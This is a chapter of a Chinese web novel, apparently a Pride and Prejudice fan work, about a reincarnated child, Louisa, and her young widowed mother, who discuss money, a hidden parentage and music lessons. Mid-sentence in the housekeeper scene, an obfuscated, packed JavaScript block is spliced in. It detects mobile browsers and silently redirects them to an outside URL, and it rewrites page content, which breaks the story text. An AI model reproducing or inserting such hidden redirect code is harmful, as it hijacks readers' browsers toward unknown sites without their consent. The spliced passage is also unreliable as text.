晚餐时候贝内特太太说起林利太太,“那么年纪轻轻的就当了寡妇。”
可惜霍特先生走的早,对方才36岁,也是个鳏夫,还没子女,相貌英俊,收入不菲。这种男人最适合结婚了。
要不是贝内特太太妹妹已订婚,她都想撮合了。
“林利太太年纪不大,还这样漂亮,她迟早要再婚组成个家庭抚养女儿,这样男方那边给花销,再生孩子后,路易莎还能有弟弟妹妹帮衬。”
贝内特太太脑中搜刮起这一片的适龄男子,怀孕养胎外,给林利太太介绍对象成了头等大事。
乡绅们一天用两顿饭,为了省灯烛晚饭提到了五点前。
路易莎还没法上餐桌,平日在小桌上单独吃饭。妈妈吃好饭后,很快地来育儿室看她。
蜡烛被点上了,英国六月还是凉凉的,夜里壁炉升起,母女俩坐在沙发上。
林利太太裁纸一页页看着书,路易莎盯着上面的小字,法文啊。
她的法语水平阅读太吃力了,而且这本看上去很书面化。她歪着头靠在怀里。
林利太太摸了摸她小脸,哼笑了一声,“不无聊吗?”
路易莎嗲嗲的,“和妈妈在一起就不无聊。”女人怔住,望着女儿侧脸的长睫,转而紧紧地抱在怀里。
“妈妈在看什么?”
“布里索的《回忆录》。”林利太太放下书。有点熟悉呢,路易莎想。
裹着股馨香气,女人下巴亲昵地搭在她的发顶,“关于法国大革命的。”
路易莎晕晕乎乎,罗伯斯庇尔督政府后就是拿破仑了吧,雾月政变啥时候,再到拿破仑称帝。
法国那边乱死了,一茬茬的革命和战争,还好她在英国。
林利太太跟女儿用法语说话,教她数数。从头当一遍小孩太不友好了。
路易莎都能装作用手指做十以内算术了。妈妈亮着眼,刮她鼻子,“露露好聪明啊。”
她嘻嘻地笑笑,发誓等到学龄后就要当神童,忍不住一点。
“妈妈妈妈。”路易莎不忘问出忧虑的事,手指摸着花边,“我们有多少钱啊。”
林利太太有点惊讶。
“我在丽兹家时,听她爸爸妈妈说收入要涨到1600镑。”路易莎学着舌。
女人了然,她没顾忌,“露露,我们家存款有……2000镑。”
路易莎松了口气,跟她想的一样,够用了够用了。小孩子对钱没什么概念,林利太太解释着,“露露,2000镑放在一个叫银行的地方,每年能有100镑。”
她问过沃森太太,这栋房子年租就要50镑,仆人薪水到衣食住行,她想得有个300镑才宽裕。
路易莎思索着能做什么赚钱。她跟妈妈认真地算起帐。“那妈妈,我们钱会不会用光啊。”
“唔。露露,妈妈有写东西赚钱。”林利太太把自己的收入说了个明白,“前年185镑,去年213镑,两本小说,版税都在我手里,今年还能再版。我还接翻译的活,额外有30镑。报纸杂志上写文章,每个月又有几镑了。”
哇!好多钱啊。她妈妈每年能赚300镑呢。“妈妈这一趟回来,准备写本苏格兰的游记,比小说卖得好,估计能有300镑。”
原来妈妈出去旅行,是采风去了。路易莎的担忧全无。她扭了扭,细细道,
“那妈妈累不累啊?”林利太太一愣,“或许是有点,每天要花五六个小时写作,但是露露——”
“非常充实、幸福。”她的眼睫遮住绿眸。
路易莎想了想自己能做的事,举手,“那我要给妈妈削羽毛笔!”
“好啊,露露。”
路易莎想着要怎么开源节流,攒钱买自己的房子,妈妈说她们住的兰顿小屋市值800镑。
买房就不用租房了。她想到什么说什么。对啊,她们在乡下啊。“妈妈妈妈,我们可以种地!”
林利太太听着女儿的奇思妙想。路易莎已经畅想起种菜养鸡的日子了,还可以养羊放牧。羊毛能卖,肉类销往镇上,哦对,最关键的粮食蔬菜。
养鱼的话有可能吗……
“家庭农场吗?”林利太太想了想,思索着,“好像真可以。”
“妈妈妈妈,我们要攒许多许多的钱。”天真孩童的话语听得她失笑。
每年省一百镑,800镑的房子,区区八年。果然什么时候买房都难。不过跟小别墅似的,也还划算了。
到睡觉时间了,路易莎擦澡,洗香香,穿着花边睡裙被裹在毛毯里。妈妈收拾好后,过来哄她睡觉。
母女俩又说了会话,路易莎埋在胸前,问出了那个问题,“妈妈,爸爸是不是死了啊。”
林利太太停住,朦胧灯光中她看向一处,“嗯。”小姑娘觉到了一种浓浓的悲伤。
她在想,会不会她爹有点钱,就像贝内特先生那样的地主,但因为她是个女孩,爹意外死后没法继承遗产,她和妈妈被远房堂侄扫地出门。
她没问出来,这个岁数问这话还是太超时了。她妈妈似乎想说什么,“路易莎……”
最终抵着额头,“露露,爸爸永远在天上陪着我们。”她在咸湿的眼泪落下前擦了干净。
……
把女儿哄睡后,林利太太披上外袍,拿着根烛台出来。“小小姐倒是不怕黑。每晚都睡得很好。”沃森太太也没睡。
女人把蜡烛放在柜上,盯着那一抹摇动的烛光。
“我还没学会怎么做个母亲。”她说。
“你已经很了不起了,小姐。”女管家心疼地说。
林利太太摇摇头,“露露她……太乖巧了,太懂事了。我很感激能拥有她。”
她转过身,浅绿眸中蓄着泪水,摇摇头。沃森太太踮起脚,安慰地把她抱在怀里。
这个女人,事实上刚满23岁不久,如此年轻,跟白日比起来,真心实意地哭着。
“我总在想我该不该替路易莎做选择。”她很快地平静下来,坐在了另一边卧室的椅子上,
“她本来能有更好的生活。”林利太太支着头,“800镑,她今天认真地告诉我,怎么攒够800镑。”
“没哪个孩子比小小姐早慧了。”女管家听得心碎。
“格雷女侯爵过世了。”林利太太冷静说,“我原本想把路易莎交给她的长女卢卡斯女男爵抚养,她是个寡妇,没有子女。沃斯利庄园在贝德福德郡,离伦敦不算远。”
“或者,我母亲在汉普顿宫还留有一处王家套房,我可以带路易莎住进宫里,领笔年金。”
“阿米莉亚的父母,休姆夫妇也都是和善的好人。“林利太太掌心拂着脸,
“但问题是,我没法让路易莎在我身边长大。我不能让人猜出她是我的女儿。她还那么小,我没有足够能力保护她。连我自己的路途,都没决定好。”
“她的身世如此沉重,有人恨她不是男孩,有人又希望她夭折。最关键是,她父亲那边的亲人都还在……”
“我不能让她重复我的命运,路易莎
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256610|182079||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,在她成年前,一切只能被隐瞒。”
“我知道,我知道,小姐。夫人老爷对我的恩情,不管怎么选,我都会照顾路易莎小姐一辈子。”沃森太太跪在地上,由着她的女主人俯身搂住脖颈,痛苦呜咽。
……
林利太太有点没说错,她在伦敦的银行确实只有2000镑,年息100镑打入赫郡的乡村银行里。
但同时,另一户行每月定期汇进500英镑,她从未动用过。
路易莎醒来时,听到了一阵高昂的笛声,成了悠扬的旋律,传入耳中。
她揉眼下了床,嗒嗒几下走到窗前,踩上凳子。妈妈正站在屋外竖吹着根笛子。
林利太太似有感应地回过头,她停住露出笑容,冲女儿招招手。
好凯尔特风,怪不得熟悉,是那首吧,友谊地久天长(Auld Lang Syne)。
“Should auld acquaintance be ot,
怎能忘记旧日朋友,
And never brought to mind,
心中能不怀想。”
“爱尔兰哨笛。”路易莎洗漱穿衣好下楼,她妈妈把那光亮的笛子在手中晃了晃。
“苏格兰民谣,Auld Lang Syne,字面意思是‘很久以前的时光’。”
“低地苏格兰语。”林利太太起了兴致,“露露想不想学。”
“好啊好啊。”她可喜欢学新东西了。
妈妈教了她几个常用的词,像英语的“Yes”,苏格兰语里是“Aye”,不是“Nae”,爸爸Da,妈妈Mam,爱是Luve。
小孩子新脑子果然好使,她学得很快。苏格兰语像变体难懂的英语方言,怪不得她去格拉斯哥的朋友吐槽当地人说话听不懂。
还唱了这首歌谣。路易莎声音清亮亮的。唱得都在调子上。“露露唱得真好听。”她妈妈夸奖道。
那是,她学过琴,唱歌音很难不准。林利太太惊奇女儿展现了音乐天赋。
她弯着唇角,“露露喜欢音乐吗?”
上辈子很喜欢,路易莎弹琴十几年了,她穿越过来才17岁,大一新生。绝对乐感,加上数学很好,一学就上手。
“喜欢!”天赋还能带过来吗?路易莎思考起自己在这个时代,能不能作为穿越者手搓出点东西。
“我想有必要给路易莎请个老师。”早饭餐桌上,林利太太说。露露太聪明了,女管家虽识文断字,可还得有人系统地教她历史地理,音乐绘画之类。
她打算弄架钢琴来。“我那儿还有一架竖琴。”这乐器只有大户人家才学得起。但她想给女儿提供多种选择。
路易莎在小桌上吃着早饭,脖子上系了餐巾。其实她吃饭很干净,一点也不埋汰。
小孩子吃的燕麦糊糊,加了牛奶,还有苹果泥,溏心的鸡蛋,一小块米布丁。
英国菜嘛,不指望好吃了。路易莎把这当成白人饭,偶尔吃喜欢,天天吃真有点——
想念红烧肉,粉蒸排骨,酸菜鱼……她回忆着,就连烧烤炸鸡火锅都如此想念。她跟爷爷奶奶住在清华家属院里,两个老人口味清淡,她也一板一眼很少吃垃圾食品。
现在……好馋。
路易莎细嚼慢咽着,好想赚钱啊。她都不太了解这个世界,只呆在朗伯恩小村子里。
能做什么呢?现在蒸汽机都有了,肥皂蜡烛?可惜她现在太小了!什么都做不了!